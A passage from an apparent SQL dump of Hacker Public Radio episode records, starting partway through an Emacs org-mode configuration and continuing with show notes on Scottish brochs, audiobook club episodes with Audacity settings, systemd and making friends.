&quot;~/org/todo.org&quot;)\n                              &quot;* %^{prompt}\\n%U\\n\\n%?&quot;)\n                       (&quot;r&quot; &quot;Reading list note&quot; entry\n                              (file &quot;~/org/reading.org&quot;)\n                              &quot;* %^{prompt}\\n%U\\n\\n%x&quot;\n                              :immediate-finish :jump-to-captured)))\n  :config (require &#39;org-crypt)\n          (org-crypt-use-before-save-magic)\n          (require &#39;org-id)\n          (defun tgdnt/advice-org-ctrl-c-ctrl-c (&amp;rest args)\n            &quot;Run `org-todo&#39; if point is on a visible heading.&quot;\n            (let ((do-not-run-orig-fn (org-at-heading-p t)))\n                (when do-not-run-orig-fn\n                (call-interactively #&#39;org-todo))\n                do-not-run-orig-fn))\n          (advice-add &#39;org-ctrl-c-ctrl-c :before-until #&#39;tgdnt/advice-org-ctrl-c-ctrl-c)\n  :hook (org-mode . auto-fill-mode)\n  :bind (&quot;C-x h&quot; . visible-mode)\n        (&quot;C-c n a&quot; . org-agenda)\n  :custom (org-tags-column 2)\n          (org-tags-exclude-from-inheritance &#39;(&quot;crypt&quot;))\n          (org-crypt-key &quot;90A77BEA68A05915&quot;)\n          (org-crypt-disable-auto-save t)\n          (org-adapt-indentation nil)\n          (org-clock-ask-before-exiting nil)\n          (org-startup-folded t)\n          (org-startup-indented t)\n          (org-priority-start-cycle-with-default nil)\n          (org-id-link-to-org-use-id &#39;use-existing)\n          (org-agenda-files (append (directory-files &quot;~/org/&quot; t &quot;.+\\.org$&quot;)))\n          (org-agenda-custom-commands\n                &#39;((&quot;A&quot; &quot;Agenda and Unscheduled TODOs&quot;\n                   ((agenda &quot;&quot;)\n                    (todo &quot;TODO&quot; ((org-agenda-overriding-header &quot;Unscheduled actions:&quot;)))\n                    (todo &quot;PROJ&quot; ((org-agenda-overriding-header &quot;Projects:&quot;)))\n                    (todo &quot;OPEN&quot; ((org-agenda-overriding-header &quot;Open items:&quot;)))\n                    (todo &quot;HOLD&quot; ((org-agenda-overriding-header &quot;On Hold:&quot;))))\n                    ((org-agenda-dim-blocked-tasks &#39;invisible))\n                                    nil)))\n          (org-agenda-todo-ignore-with-date t)\n          (org-agenda-start-day nil)\n          (org-agenda-start-on-weekday nil)\n          (org-agenda-span 1)\n          (org-agenda-skip-deadline-prewarning-if-scheduled t)\n          (org-agenda-prefix-format &#39;((agenda . &quot;%?-12t% s&quot;)\n                                      (todo . &quot;  &quot;)\n                                      (tags . &quot;  &quot;)\n                                      (search . &quot;  &quot;)))\n          (org-agenda-deadline-leaders &#39;(&quot;!&quot; &quot;%1d&quot; &quot;&#x203C;&quot;))\n          (org-agenda-scheduled-leaders &#39;(&quot;#&quot; &quot;%1d&quot;))\n          (org-enforce-todo-dependencies t)\n          (org-refile-targets &#39;((nil :maxlevel . 2)\n                                (org-agenda-files :maxlevel . 2)))\n          (org-attach-id-dir &quot;~/org/attachments&quot;)\n          (org-crypt-disable-auto-save t)\n          (org-crypt-tag-matcher &quot;crypt&quot;)\n          (org-archive-location &quot;~/org/archive/archive.org::&quot;)\n          (org-deadline-warning-days 5)\n          (org-archive-save-context-info &#39;(time file olpath ltags itags category))\n          (org-id-link-to-org-use-id &#39;use-existing)\n          (org-todo-keywords &#39;((type &quot;TODO(t)&quot; ;; A clearly defined action\n                                     &quot;OPEN(o)&quot; ;; An open item, must be clarified\n                                     &quot;HOLD(h)&quot; ;; An open item, must be clarified\n                                     &quot;PROJ(p)&quot; ;; A project, with actions within it\n                                   &quot;|&quot; &quot;DONE(d)&quot; &quot;QUIT(q)&quot;))))\n\n;; make visible-mode automatic when entering insert mode\n(use-package org-appear\n  :init (setq org-hide-emphasis-markers t)\n  :hook (org-mode . org-appear-mode)\n  :custom (org-appear-autolinks t))\n\n(use-package evil-org\n  :after org\n  :hook (org-mode . (lambda () evil-org-mode))\n  :config\n  (require &#39;evil-org-agenda)\n  (evil-org-agenda-set-keys))\n\n;;;;;;;;;;;;;;;;;;;;;;;;;;;\n;;; more basic settings ;;;\n;;;;;;;;;;;;;;;;;;;;;;;;;;;\n(setq backup-directory-alist\n              `((&quot;.&quot; . ,(concat user-emacs-directory &quot;backups&quot;)))\n      backup-by-copying t\n      delete-old-versions t\n      kept-new-versions 6\n      kept-old-versions 2\n      version-control t)\n\n(setq-default fill-column 64\n              indent-tabs-mode nil\n              display-time-day-and-date t\n              display-time-24hr-format t)\n\n(setq custom-file (expand-file-name &quot;custom.el&quot; user-emacs-directory))\n(load custom-file t)\n\n(when window-system\n  (scroll-bar-mode -1)\n  (menu-bar-mode -1)\n  (tool-bar-mode -1))\n\n;; (toggle-frame-fullscreen)\n(display-time)\n(display-battery-mode)\n(server-start)\n(setq inhibit-startup-screen t)\n\n;; If on a graphical env, load init-base, if not on windows, load init-extra\n(when window-system\n  (load-file (expand-file-name &quot;init-base.el&quot; user-emacs-directory))\n  (require &#39;init-base)\n  (unless (string= (x-server-vendor) &quot;Microsoft Corp.&quot;)\n      (load-file (expand-file-name &quot;init-extra.el&quot; user-emacs-directory))\n      (require &#39;init-extra)))\n\n(provide &#39;init)\n;;; init.el ends here</code></pre>\n<p>In part 2, coming soon, we\'ll go through init-base.el and\ninit-extra.el.</p>\n',399,0,0,'CC-BY-SA','emacs,elisp',0,0,1),
(3896,'2023-07-10','The Brochs of Glenelg',782,'A verbal tour in situ of one of the two brochs of Glenelg','In this episode I visit one of the best preserved <a href=\"https://en.wikipedia.org/wiki/Broch\">brochs</a> on the Scottish mainland called Dun Telve. It is one of two that are a few miles outside the village of Glenelg which is rare itself in that its name is a palindrome.\n\n<p><a href=\"https://hackerpublicradio.org/eps/hpr3896/hpr3896/20230701_200226_1000px.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3896/hpr3896/20230701_200226_1000px_thumbnail.jpg\" title=\"The broch Dun Telve from a distance.\" alt=\"The broch Dun Telve from a distance.\"></a></p>\n\n<p><a href=\"https://hackerpublicradio.org/eps/hpr3896/hpr3896/20230701_201912_1000px.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3896/hpr3896/20230701_201912_1000px_thumbnail.jpg\" title=\"The broch Dun Telve from a distance.\" alt=\"The broch Dun Telve from a distance.\"></a></p>\n',268,101,0,'CC-BY-SA','history,scotland,prehistoric',0,0,1),
(3895,'2023-07-07','What\'s in my backpack',514,'Stache walks through the contents of his work backpack','<p>I have many things in my work backpack, to include a Raspberry Pico,\nmultiple USB drives, USB cables, two laptops, my glasses and a\nsunglasses case attached to the outside.</p>\n<p>It is a 5.11 RUSH MOAB 10 Sling Pack 18L, not because I want to be\n\"tacticool\" but because I like their products, and that they support\nveterans like myself.</p>\n',408,23,0,'CC-BY-SA','backpack contents, toolkit',0,0,1),
(3897,'2023-07-11','HPR AudioBook Club 22 - Murder at Avedon Hill',6119,'In this episode the HPR Audiobook Club discusses \"Murder at Avedon Hill\" by P.G. Holyfield','<h2\nid=\"in-this-episode-the-hpr-audiobook-club-discusses-the-audiobook-murder-at-avedon-hill-by-pg-holyfield\">In\nthis episode the HPR Audiobook Club discusses the audiobook <a\nhref=\"https://archive.org/details/podcast_murder-at-avedon-hill_280056756\">Murder\nat Avedon Hill</a> by P.G. Holyfield</h2>\n<hr />\n<h2 id=\"non-spoiler-thoughts\">Non-Spoiler Thoughts</h2>\n<hr />\n<ul>\n<li>Great reading, great audio quality, fun setting and setup. It had\nthe feel of a role playing adventure at the beginning, but was well\nfleshed out by the middle. It would have been slightly better if all of\nthe guest voices had had a pronunciation guide for the names.</li>\n</ul>\n<h2 id=\"beverage-reviews\">Beverage Reviews</h2>\n<hr />\n<ul>\n<li><strong>Thaj:</strong> A delicious regular chocolate malt from the\nlocal ice cream shop \"The Comfy Cow\"</li>\n<li><strong>x1101:</strong> Barton\'s 1795</li>\n<li><strong>Pokey</strong> Leinenkugel\'s: I have a fall variety pack,\nbut this is not the fall. I\'m not enjoying this beer as much as I\nexpected. It\'s good, and I can taste the high quality of the\ningredients, but I think it\'s just the wrong season for this.</li>\n</ul>\n<h2 id=\"things-we-talked-about\">Things We Talked About</h2>\n<hr />\n<ul>\n<li><p><a\nhref=\"https://boardgamegeek.com/boardgame/822/carcassonne\">Carcassonne</a></p></li>\n<li><p><a href=\"https://scribl.com/books/P8EE5/shadowmagic\">Shadow\nMagic</a></p></li>\n</ul>\n<h2 id=\"our-next-audiobook\">Our Next Audiobook</h2>\n<hr />\n<p><a\nhref=\"https://librivox.org/a-princess-of-mars-by-edgar-rice-burroughs-2/\">A\nPrincess of Mars</a> by Edgar Rice Burroughs</p>\n<h2 id=\"the-next-audiobook-club-recording\">The Next Audiobook Club\nRecording</h2>\n<hr />\n<p>Right now we are working through a backlog of older episodes that\nhave already been recorded. Once that ends we fully anticipate recording\nnew episodes with listener participation.</p>\n<h2 id=\"feedback\">Feedback</h2>\n<hr />\n<p>Thank you very much for listening to this episode of the HPR\nAudioBookClub. We had a great time recording this show, and we hope you\nenjoyed it as well. We also hope you\'ll consider joining us next time we\nrecord a new episode. Please leave a few words in the episode\'s comment\nsection.</p>\n<p>As always; remember to visit the HPR contribution page HPR could\nreally use your help right now.</p>\n<p>Sincerely, The HPR Audiobook Club</p>\n<p>P.S. Some people really like finding mistakes. For their enjoyment,\nwe always include a few.</p>\n<h2 id=\"our-audio\">Our Audio</h2>\n<hr />\n<p>This episode was processed using <a\nhref=\"https://www.audacityteam.org/\">Audacity</a>. We\'ve been making\nsmall adjustments to our audio mix each month in order to get the best\npossible sound. Its been especially challenging getting all of our\nvoices relatively level, because everyone has their own unique setup.\nMumble is great for bringing us all together, and for recording, but\nit\'s not good at making everyone\'s voice the same volume. We\'re pretty\nhappy with the way this month\'s show turned out, so we\'d like to share\nour editing process and settings with you and our future selves (who, of\ncourse, will have forgotten all this by then).</p>\n<p>We use the \"Truncate Silence\" effect with it\'s default settings to\nminimize the silence between people speaking. When used with it\'s\ndefault (or at least reasonable) settings, Truncate Silence is extremely\neffective and satisfying. It makes everyone sound smarter, it makes the\nfile shorter without destroying actual content, and it makes a\nconversations sound as easy and fluid during playback as it was while it\nwas recorded. It can be even more effective if you can train yourself to\nremain silent instead of saying \"uuuuummmm.\" Just remember to ONLY pass\nthe file through Truncate Silence ONCE. If you pass it through a second\ntime, or if you set it too aggressively your audio may sound sped up and\nchoppy.</p>\n<p>Next we use the \"Compressor\" effect with the following settings:</p>\n<pre><code>Threshold: -30db\n\nNoise Floor: -50db\n\nRatio: 3:1\n\nAttack Time: 0.2sec\n\nDecay Time: 1.0 sec`</code></pre>\n<p>\"Make-up Gain for 0db after compressing\" and \"compress based on\npeaks\" were both left un-checked.</p>\n<p>After compressing the audio we cut any pre-show and post-show chatter\nfrom the file and save them in a separate file for possible use as\nouttakes after the closing music.</p>\n<p>We adjust the Gain so that the VU meter in Audacity hovers around\n-12db while people are speaking, and we try to keep the peaks under\n-6db, and we adjust the Gain on each of the new tracks so that all\nvolumes are similar, and more importantly comfortable. Once this is done\nwe can \"Mix and Render\" all of our tracks into a single track for export\nto the .FLAC file which is uploaded to the HPR server.</p>\n<p>At this point we listen back to the whole file and we work on the\nshownotes. This is when we can cut out anything that needs to be cut,\nand we can also make sure that we put any links in the shownotes that\nwere talked about during the recording of the show. We finish the\nshownotes before exporting the .aup file to .FLAC so that we can paste a\ncopy of the shownotes into the audio file\'s metadata.</p>\n<p>At this point we add new, empty audio tracks into which we paste the\nintro, outro and possibly outtakes, and we rename each track\naccordingly.</p>\n<p>Remember to save often when using Audacity. We like to save after\neach of these steps. Audacity has a reputation for being \"crashy\" but if\nyou remember save after every major transform, you will wonder how it\never got that reputation.</p>\n',157,53,1,'CC-BY-SA','Audiobook club, audiobook, fantasy, fiction',0,0,1),
(3907,'2023-07-25','My introduction show',1153,'About me and computers','<p>The show notes</p>\n<ul>\n<li>Episode 3496: How I record HPR Episodes <a\nhref=\"http://hackerpublicradio.org/eps.php?id=3496\"\nclass=\"uri\">http://hackerpublicradio.org/eps.php?id=3496</a></li>\n<li>Source: <a href=\"https://gitlab.com/norrist/solocast\"\nclass=\"uri\">https://gitlab.com/norrist/solocast</a></li>\n<li>XFree86 <a href=\"http://en.wikipedia.org/wiki/XFree86\"\nclass=\"uri\">http://en.wikipedia.org/wiki/XFree86</a></li>\n<li>Quickemu, Quickly create and run optimised Windows, macOS and Linux\ndesktop virtual machines. <a\nhref=\"http://github.com/quickemu-project/quickemu\"\nclass=\"uri\">http://github.com/quickemu-project/quickemu</a></li>\n</ul>\n',421,0,0,'CC-BY-SA','introduction,solocast',0,0,1),
(3899,'2023-07-13','Repair corrupt video files for free with untruc',320,'This is how I fixed corrupt video files from my dash cam after an accident','<p>My original blog post on this topic: <a\nhref=\"https://pquirk.com/posts/corruptvideo/\"\nclass=\"uri\">https://pquirk.com/posts/corruptvideo/</a></p>\n<ul>\n<li>Untruc at Github: <a href=\"https://github.com/anthwlock/untrunc\"\nclass=\"uri\">https://github.com/anthwlock/untrunc</a></li>\n<li>Windows version: <a\nhref=\"https://github.com/anthwlock/untrunc/releases\"\nclass=\"uri\">https://github.com/anthwlock/untrunc/releases</a></li>\n<li>Arch linux version: <a\nhref=\"https://aur.archlinux.org/packages/untrunc-git\"\nclass=\"uri\">https://aur.archlinux.org/packages/untrunc-git</a></li>\n</ul>\n<p>Make your donations to:<br />\n<a href=\"https://www.paypal.com/paypalme/anthwlock\"\nclass=\"uri\">https://www.paypal.com/paypalme/anthwlock</a><br />\n<a href=\"https://vcg.isti.cnr.it/~ponchio/untrunc.php\"\nclass=\"uri\">https://vcg.isti.cnr.it/~ponchio/untrunc.php</a></p>\n',383,0,0,'CC-BY-NC-SA','video,corrupt,fix,file,linux',0,0,1),
(3921,'2023-08-14','HPR AudioBook Club 23 - John Carter of Mars (Books 1-3)',6516,'In this episode the HPR Audiobook Club discusses the first three books of John Carter of Mars','<h2\nid=\"in-this-episode-the-hpr-audiobook-club-discusses-the-audiobooks-a-princess-of-mars-the-gods-of-mars-and-the-warlord-of-mars-by-edgar-rice-burroughs\">In\nthis episode the HPR Audiobook Club discusses the audiobooks <a\nhref=\"https://librivox.org/a-princess-of-mars-by-edgar-rice-burroughs-2/\">A\nPrincess of Mars</a>, <a\nhref=\"https://librivox.org/the-gods-of-mars-version-3-by-edgar-rice-burroughs/\">The\nGods of Mars</a>, and <a\nhref=\"https://librivox.org/the-warlord-of-mars-version-3-by-edgar-rice-burroughs/\">The\nWarlord of Mars</a> by Edgar Rice Burroughs</h2>\n<hr />\n<h2 id=\"non-spoiler-thoughts\">Non-Spoiler Thoughts</h2>\n<hr />\n<ul>\n<li>Burroughs is kind of verbose, which is symbolic of the time period\nin which it was written.</li>\n</ul>\n<h2 id=\"beverage-reviews\">Beverage Reviews</h2>\n<hr />\n<ul>\n<li><strong>Thaj:</strong> Tempting fate with a tall glass of the highly\ntoxic, <a href=\"http://www.dhmo.org/facts.html\">Dihydrogen\nMonoxide</a></li>\n<li><strong>x1101:</strong> <a\nhref=\"https://www.beeradvocate.com/beer/profile/139/149716/\">Shipyard\nLittle Horror of Hops</a> Its a very amber IPA</li>\n<li><strong>Pokey:</strong> <a\nhref=\"http://www.yellowtailwine.com/chardonnay/\">Yellow Tail\nChardonay</a> Its definitely a chardonay in flavor. You can taste the\ncost effectiveness up front, but it mellows out on the finish, and is\npretty okay for the price on average.</li>\n<li><strong>FiftyOneFifty:</strong> <a\nhref=\"https://www.boulevard.com/beer/our-beers/\">Funky Pumpkin spiced\npumpkin ale</a></li>\n<li><strong>Mark:</strong> <a\nhref=\"https://lagunitas.com/beer/ipa/\">Lagunitas IPA</a></li>\n</ul>\n<h2 id=\"things-we-talked-about\">Things We Talked About</h2>\n<hr />\n<ul>\n<li><p><a href=\"https://chatsecure.org/\">Chat Secure</a> secure XMPP,\nThink of the children!!!</p></li>\n<li><p>Technology on Barsoom</p></li>\n<li><p>Deus Ex Machina much???</p></li>\n<li><p>Names in fantasy books</p></li>\n</ul>\n<h2 id=\"our-next-audiobook\">Our Next Audiobook</h2>\n<hr />\n<p><a href=\"https://scribl.com/books/P34C6/see-you-at-the-morgue\">See\nYou At The Morgue</a> by Lawrence Blochman</p>\n<h2 id=\"the-next-audiobook-club-recording\">The Next Audiobook Club\nRecording</h2>\n<hr />\n<p>Right now we are working through a backlog of older episode that have\nalready been recorded. Once that ends we fully anticipate recording new\nepisodes with listener participation.</p>\n<h2 id=\"feedback\">Feedback</h2>\n<hr />\n<p>Thank you very much for listening to this episode of the HPR\nAudioBookClub. We had a great time recording this show, and we hope you\nenjoyed it as well. We also hope you\'ll consider joining us next time we\nrecord a new episode. Please leave a few words in the episode\'s comment\nsection.</p>\n<p>As always; remember to visit the HPR contribution page HPR could\nreally use your help right now.</p>\n<p>Sincerely, The HPR Audiobook Club</p>\n<p>P.S. Some people really like finding mistakes. For their enjoyment,\nwe always include a few.</p>\n<h2 id=\"our-audio\">Our Audio</h2>\n<hr />\n<p>This episode was processed using <a\nhref=\"https://www.audacityteam.org/\">Audacity</a>. We\'ve been making\nsmall adjustments to our audio mix each month in order to get the best\npossible sound. Its been especially challenging getting all of our\nvoices relatively level, because everyone has their own unique setup.\nMumble is great for bringing us all together, and for recording, but\nit\'s not good at making everyone\'s voice the same volume. We\'re pretty\nhappy with the way this month\'s show turned out, so we\'d like to share\nour editing process and settings with you and our future selves (who, of\ncourse, will have forgotten all this by then).</p>\n<p>We use the \"Truncate Silence\" effect with it\'s default settings to\nminimize the silence between people speaking. When used with it\'s\ndefault (or at least reasonable) settings, Truncate Silence is extremely\neffective and satisfying. It makes everyone sound smarter, it makes the\nfile shorter without destroying actual content, and it makes a\nconversations sound as easy and fluid during playback as it was while it\nwas recorded. It can be even more effective if you can train yourself to\nremain silent instead of saying \"uuuuummmm.\" Just remember to ONLY pass\nthe file through Truncate Silence ONCE. If you pass it through a second\ntime, or if you set it too aggressively your audio may sound sped up and\nchoppy.</p>\n<p>Next we use the \"Compressor\" effect with the following settings:</p>\n<pre><code>Threshold: -30db\n\nNoise Floor: -50db\n\nRatio: 3:1\n\nAttack Time: 0.2sec\n\nDecay Time: 1.0 sec</code></pre>\n<p>\"Make-up Gain for 0db after compressing\" and \"compress based on\npeaks\" were both left un-checked.</p>\n<p>After compressing the audio we cut any pre-show and post-show chatter\nfrom the file and save them in a separate file for possible use as\nouttakes after the closing music.</p>\n<p>We adjust the Gain so that the VU meter in Audacity hovers around\n-12db while people are speaking, and we try to keep the peaks under\n-6db, and we adjust the Gain on each of the new tracks so that all\nvolumes are similar, and more importantly comfortable. Once this is done\nwe can \"Mix and Render\" all of our tracks into a single track for export\nto the .FLAC file which is uploaded to the HPR server.</p>\n<p>At this point we listen back to the whole file and we work on the\nshownotes. This is when we can cut out anything that needs to be cut,\nand we can also make sure that we put any links in the shownotes that\nwere talked about during the recording of the show. We finish the\nshownotes before exporting the .aup file to .FLAC so that we can paste a\ncopy of the shownotes into the audio file\'s metadata.</p>\n<p>At this point we add new, empty audio tracks into which we paste the\nintro, outro and possibly outtakes, and we rename each track\naccordingly.</p>\n<p>Remember to save often when using Audacity. We like to save after\neach of these steps. Audacity has a reputation for being \"crashy\" but if\nyou remember save after every major transform, you will wonder how it\never got that reputation.</p>\n<h2 id=\"attribution\">Attribution</h2>\n<hr />\n<p><a\nhref=\"https://freesound.org/people/ZeSoundResearchInc./sounds/117512/\">Record\nScratch</a> Creative Commons 0</p>\n',157,0,1,'CC-BY-SA','mars, audiobook club, fiction, scifi, audiobook',0,0,1),
(4151,'2024-07-01','HPR Community News for June 2024',0,'HPR Volunteers talk about shows released and comments posted in June 2024','',159,47,1,'CC-BY-SA','Community News',0,0,1),
(4176,'2024-08-05','HPR Community News for July 2024',0,'HPR Volunteers talk about shows released and comments posted in July 2024','',159,47,1,'CC-BY-SA','Community News',0,0,1),
(3902,'2023-07-18','Introduction to a new series on FFMPEG',474,'In this episode, I introduce FFMPEG, media containers, and codecs','<h2>Links</h2>\n\n<ul>\n<li><a href=\"https://ffmpeg.org\">FFMPEG Website</a></li>\n<li><a href=\"https://helpx.adobe.com/x-productkb/multi/formats-containers.html\">Adobe - containers vs encoders</a></li>\n<li>Containers: <a href=\"https://en.wikipedia.org/wiki/Comparison_of_video_container_formats\">Wikipedia</a></li>\n<li>Encoders/codecs\n\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/Audio_coding_format\">Audio</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Video_coding_format\">Video</a></li>\n</ul>\n</li>\n<li><a href=\"https://s3-us-west-2.amazonaws.com/courses-images/wp-content/uploads/sites/4052/2019/04/08194049/CommunicationProcessModel1.jpg\">Encoding vs Decoding</a> ** attribution: <a href=\"https://courses.lumenlearning.com/wm-organizationalbehavior/chapter/the-process-of-communication/\">Learning Freedom Group</a></li>\n</ul>\n',300,0,0,'CC-BY-SA','ffmpeg,video streaming,audio streaming',0,0,1),
(3903,'2023-07-19','Why I don\'t love systemd (yet)',396,'Klaatu reads a script by Deepgeek about systemd','<p>I\'ve been meaning to put down my thoughts about SystemD for the HPR\ncommunity for some while, so here goes.</p>\n<p>I want to say that I am not a SystemD hater. When SystemD was a hot\ntopic of debate, many became irrational over it, but I want to start by\nsaying that I don\'t think it\'s a bad technology. I think it is a rather\ngood technology. I just don\'t want it on my personal computer. So I\nwould like to run things down in this order: what is it (as in, what is\nit really,) what makes it a good technology, why I don\'t want it now\n(but might later,) and a few tips for you if you decide that you don\'t\nwant it currently.</p>\n<p>SystemD Is not an init system. SystemD includes an init system.\nSystemD Init was faster than SysVInit, but SystemD Init isn\'t the\nfastest init system, and SysVInit now has a parallelization helper, at\nleast on Debian.</p>\n<p>So, if SystemD Init is not SystemD, than what is SystemD? To\nunderstand this we must first understand something about Linux. Linux\noperates under a model where there are root processes, and there are\nuser processes. These two kinds of processes are usually called\n\"layers.\" SystemD is actually a third layer, that can be called a system\nlayer. So when SystemD is added to a Linux system, that changes the\nsystem so that there are three layers, a root layer, a user layer, and a\nsystem layer. As such, you now ask SystemD to set how the system runs.\nThis is why SystemD includes things like an init system, because if you\nwant to change what the system is running, you ask SystemD to change it.\nSystemD then messages an appropriate system to implement the change,\nlike messaging its init system to bring up or bring down a system\ndaemon. Once you play out this in your head a bit, you really realize\nthat SystemD acts more like a message passing system in this regard.</p>\n<p>So why do I say SystemD is a good technology? Because this can\nstandardize system control. Without SystemD a fleet of computers becomes\nlike individual fingerprints or unique snowflakes. If you manage many\ncomputers, as many professional IT people do, you want them to all run\nthe same, all have the same profiles and general configurations. So if\nyou have a bunch of computers you are running, you can run a lot more if\nthey are all run the same way. If your job requires you to run 10,000\nwebservers, you want them to run identically because it is impossible to\nkeep an understanding of 10,000 unique configurations in a human\nhead.</p>\n<p>SystemD really shines in its support of virtualization as well. So\nto speak of servers, I used to run an email server for a few friends.\nEach of us had a userid and number as unix users. The mapping of unix\nuserids and postfix userids can get confusing when it gets big. Thanks\nto SystemD\'s virtualization work, you can actually put a service like\nemail into a namespace situation so that it has only the users root and\nthe daemon user id (like \"postfix\"), so SystemD greatly enhances\nsecurity for server installations. This might help explain its\ndominance in linux distributions that have been traditionally\nserver-centric, such as debian and redhat.</p>\n<p>So why don\'t I don\'t want it? Well, I\'ve been doing a lot of talking\nabout professional computer work and corporate work environments, but I\nuse a \"Personal Computer\" as a hobby. I\'ve been out-of-industry for\ndecades now. And when I say \"Personal Computer\" I\'m not talking a\nhardware specification, rather I\'m talking about \"This is my personal\ncomputer where I do things my way, as opposed to my work computer where\nI do things my companies way\". Dear listener, please remember that I did\nthe first community show contribution to HPR, and my topic was about\npersonalization. For me, a hobbyist interested in operating system\nexperimentation, I don\'t want a system layer, I want a traditional\nunix-like system that operates on a two-layer model and does things my\nway, nobody else\'s way.</p>\n<p>So, what advice can I give to those who don\'t want SystemD now? Well,\nrecently I\'ve left Debian. Debian, you see, supports init system\ndiversity, but as you now know dear listener, that is different than\nbeing without SystemD. You may have heard that SystemD is\nlinux-specific, that is to say that it runs only on linux, not anything\nlike a BSD system or a Windows system. But you may be curious to know\nthat it is also Gnu-libC specific. Which means that the C compiler must\nuse GNU\'s libC standard library. Thus, if you have a system built around\nthe Musl C standard library like Alpine or Void, or a system like\nAndroid that runs on the Bionic C Standard library, you wont have a\nSystemD system. I\'m personally learning Void as its package manager\nsupports both binary and a ports collection much like the BSD\'s. But\nthat is what I\'m doing on my personal computer, I leave you in the\nfreedom to do things your way on your personal computer!</p>\n\n',73,99,0,'CC-BY-SA','systemd,linux',0,0,1),
(3904,'2023-07-20','How to make friends',2861,'This topic is being actively researched. Not for production use.','<p>Show notes</p>\n<ul>\n<li>\n<p>No clear mark of when friendship starts</p>\n</li>\n<li>\n<p>often feels \"right\" when mutual</p>\n</li>\n<li>\n<p>to some people friendship is a persistent state. once you have it, it&#39;s forever unless explicitly dissolved.</p>\n</li>\n<li>\n<p>for other people, it&#39;s something requiring maintenance. arguable this suggests that there are degrees of friendship, based on when you last spoke to one another.</p>\n</li>\n<li>\n<p>degrees of friendship also suggests progression. friend → close friend → best friend.</p>\n</li>\n</ul>\n<h2 id=\"_how_to_make_a_friend\">how to make a friend</h2>\n<p>friendship requires communication.</p>\n<ul>\n<li>\n<p>start by communicating in some way that makes the other person feel not unpleasant</p>\n</li>\n<li>\n<p>you&#39;re not supposed to target a friend. this can be a frustrating rule, because if you&#39;re trying to make a friend, you have to target somebody, but the general consensus is that you&#39;re not supposed to \"try too hard\".  target lots of people in the hopes of stumbling across somebody to befriend.</p>\n</li>\n<li>\n<p>complimenting something they have done, even if it&#39;s something simple like wearing a cool shirt, is a very easy start</p>\n</li>\n<li>\n<p>finding ground common allows for repeated communication</p>\n</li>\n<li>\n<p>repetition of this is what builds friendship. this is why friendships often develop at work, but can dissolve quickly after a job change.</p>\n</li>\n<li>\n<p>the situation matters. chatting with someone who&#39;s being paid to interact with you, like somebody working at a store, doesn&#39;t count because in context they more or less cannot choose to stop communicating with you until you leave the store. chatting with someone who has anything to gain by chatting with you doesn&#39;t count (like an intern at work).</p>\n</li>\n<li>\n<p>to speed up a developing friendship, you can invite the person to interact with you on something with a clearly defined goal. You like coding? I like coding! Would you care to collaborate for 4 hours on a script that would help me find my Raspberry Pi on my network?</p>\n</li>\n<li>\n<p>during the activity, continue to communicate. this can be difficult because you&#39;re doing an activity that you both claim to enjoy, so in theory the activity should be sufficient to further the friendship. However, the activity doesn&#39;t build the friendship, it only builds a partnership. It&#39;s the communication that builds friendship.</p>\n</li>\n</ul>\n<p>unfortunately, there&#39;s no clear point during this process at which you know you have made a friend. so you have to define what a friend is, to you, and then work toward that goal.</p>\n<p>Here are some examples of definitions for friendship. There is no right or wrong here, it&#39;s really just setting your own expectations and requirements:</p>\n<ul>\n<li>\n<p>A friend is someone to hang out with on sundays.</p>\n</li>\n<li>\n<p>A friend is someone I can call when I&#39;ve got some free time to kill.</p>\n</li>\n<li>\n<p>A friend is someone I can play video games with online.</p>\n</li>\n<li>\n<p>A friend is someone I can call, day or night, when I need help.</p>\n</li>\n<li>\n<p>A friend is someone who has come over for dinner, and has met my family, and who I see at least once a month.</p>\n</li>\n</ul>\n<p>There&#39;s no official definition, so you must define it yourself.\nYour definition may differ from the other person&#39;s definition.\nYou might say \"we are best friends\" but they might say \"no, I already have a best friend, but you&#39;re a <em>good</em> friend\" and THAT&#39;S OK.</p>\n<p>If it helps, classify what kinds of friends you have so you understand what kinds of relationships you are maintaining.\nCommunicate with your friends, even if it&#39;s only to let them know that you&#39;re bad at communicating on a regular basis, or ask them how frequently they need to communicate to maintain a healthy friendship.</p>\n',78,108,0,'CC-BY-SA','autism,friendship,relationship,social engineering',0,0,1),
(3905,'2023-07-21','Presenting Fred Black',1105,'I have a short talk to present Fred Black.','<ul>\n<li><strong>IB-program</strong> <a href=\"https://ibo.org/\"\nclass=\"uri\">https://ibo.org/</a></li>\n<li><strong>Animals To The Max</strong> <a\nhref=\"https://corbinmaxey.com/podcast-1\"\nclass=\"uri\">https://corbinmaxey.com/podcast-1</a></li>\n<li><strong>I Spend A Day With...</strong> <a\nhref=\"https://feeds.megaphone.fm/ispentadaywith\"\nclass=\"uri\">https://feeds.megaphone.fm/ispentadaywith</a></li>\n<li><strong>The Vinyl Guide</strong> <a\nhref=\"https://www.thevinylguide.com/\"\nclass=\"uri\">https://www.thevinylguide.com/</a></li>\n<li><strong>NSOD - Norsken, Svensken og Dansken</strong> <a\nhref=\"https://podkast.nrk.no/program/norsken_svensken_og_dansken.rss\"\nclass=\"uri\">https://podkast.nrk.no/program/norsken_svensken_og_dansken.rss</a></li>\n</ul>\n',309,0,0,'CC-BY-SA','school,podcasts,instrument,quiz',0,0,1);
